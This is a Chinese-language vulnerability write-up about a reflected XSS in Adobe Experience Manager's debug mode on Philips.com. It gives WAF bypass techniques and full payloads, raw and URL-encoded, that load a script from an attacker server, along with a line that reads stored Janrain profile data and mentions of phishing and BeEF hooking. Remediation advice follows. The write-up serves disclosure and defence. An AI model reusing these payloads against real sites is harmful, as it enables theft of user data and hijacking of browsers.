在Philips.com中反射型xss
字数 1626 2025-08-27 12:33:37
Adobe Experience Manager (AEM) 反射型XSS漏洞分析与利用
1. 漏洞背景
反射型XSS(跨站脚本攻击)是一种常见的Web安全漏洞,攻击者能够注入恶意脚本到受害者的浏览器中执行。本文详细分析在Philips.com网站发现的Adobe Experience Manager (AEM)反射型XSS漏洞,包括漏洞发现、利用技巧和防御措施。
2. 目标选择与侦查
2.1 目标选择
- 选择Philips.com作为目标,因为:
- 品牌知名度高,用户信任度高
- 具有负责任的披露平台
- 商业价值高,适合钓鱼攻击演示
2.2 侦查技术
- 子域名探测:使用Aquatone工具探测子域名
- 请求捕获:使用Burp Suite捕获所有HTTP请求和响应
- 网站地图:利用Burp Suite的网站地图功能分析网站结构
- CMS识别:通过WhatCMS.org识别网站使用Adobe Experience Manager (AEM)
3. 漏洞发现过程
3.1 初始测试
- 尝试在URL参数和输入框中注入基本XSS payload:
<h1>Hi mom</h1>→ 被过滤为<h1>Hi+mom</h1>- 常规XSS尝试均被WAF拦截
3.2 关键发现
- 通过
/?debug=layout参数发现AEM的调试模式 - 调试模式下URL路径直接反射到页面中,未经过滤
- 确认WAF类型:ModSecurity和AkamaiGHost
4. WAF绕过技术
4.1 WAF行为分析
- 拦截
<script>标签 - 允许
<body>标签 - 拦截大多数JavaScript事件处理器(如onerror, onload)
- 允许
onpointerenter事件 - 拦截路径中的
https://
4.2 有效payload构造
- 利用jQuery:确认页面已加载jQuery,使用
getScript函数 - 事件处理器选择:使用未被拦截的
onpointerenter - URL分割:绕过
https://过滤
最终payload:
https://www.philips.nl/healthcare/<body onpointerenter="jQuery.getScript('https:/' + '/attackerserver.ltd/philips/inject.js')">?debug=layout
URL编码版本:
https://www.philips.nl/healthcare/%3Cbody%20onpointerenter=%22jQuery.getScript('https:/'+'/attackerserver.ltd/philips/inject.js')%22%3E?debug=layout
4.3 高级绕过技巧
- 利用HTML标签属性分割绕过:
<body%20alt=al%20lang=ert%20onmouseenter="top['al'+lang](/PoC%20XSS%20Bypass%20by%20Jonathan%20Bouman/)" - 利用
<br>标签闭合未闭合的HTML标签
5. 漏洞利用场景
5.1 窃取用户信息
- Philips使用Janrain作为登录系统
- Janrain在localStorage中存储用户信息
- 窃取脚本:
var user = (localStorage.getItem("janrainCaptureProfileData")) ? localStorage.getItem("janrainCaptureProfileData") : "Not logged in";
5.2 创建钓鱼页面
- 注入完整的伪造登录页面
- 比传统
alert()演示更具说服力
5.3 浏览器攻击
- 注入BeEF框架(浏览器利用框架)
- 实现持久化控制受害者浏览器
6. 漏洞修复建议
6.1 立即解决方案
- 关闭AEM的调试模式
- 通过AEM配置禁用
debug=layout参数
6.2 长期防御措施
-
输入验证:
- 对所有用户输入进行严格验证
- 使用白名单而非黑名单方法
-
输出编码:
- 对所有动态内容进行适当的HTML编码
- 根据上下文使用不同的编码方式(HTML, JavaScript, URL等)
-
内容安全策略(CSP):
- 实施严格的CSP策略
- 限制内联脚本和外部资源加载
-
WAF优化:
- 更新规则以检测更复杂的XSS payload
- 但不应完全依赖WAF作为唯一防御
-
安全开发实践:
- 安全编码培训
- 定期安全审计
- 自动化漏洞扫描
7. 漏洞影响评估
7.1 直接影响
- 窃取用户敏感信息
- 会话劫持
- 钓鱼攻击
- 浏览器漏洞利用
7.2 潜在影响
- 品牌声誉损害
- 用户信任度下降
- 合规性问题(如GDPR)
8. 总结
本案例展示了即使在有WAF保护的大型企业网站中,通过仔细分析和创造性思维,仍然可能发现和利用反射型XSS漏洞。关键在于:
- 全面侦查和了解目标技术栈
- 深入分析WAF行为模式
- 创造性构造绕过payload
- 展示实际危害而不仅是理论漏洞
防御此类攻击需要多层防护措施,而不仅仅是依赖单一解决方案。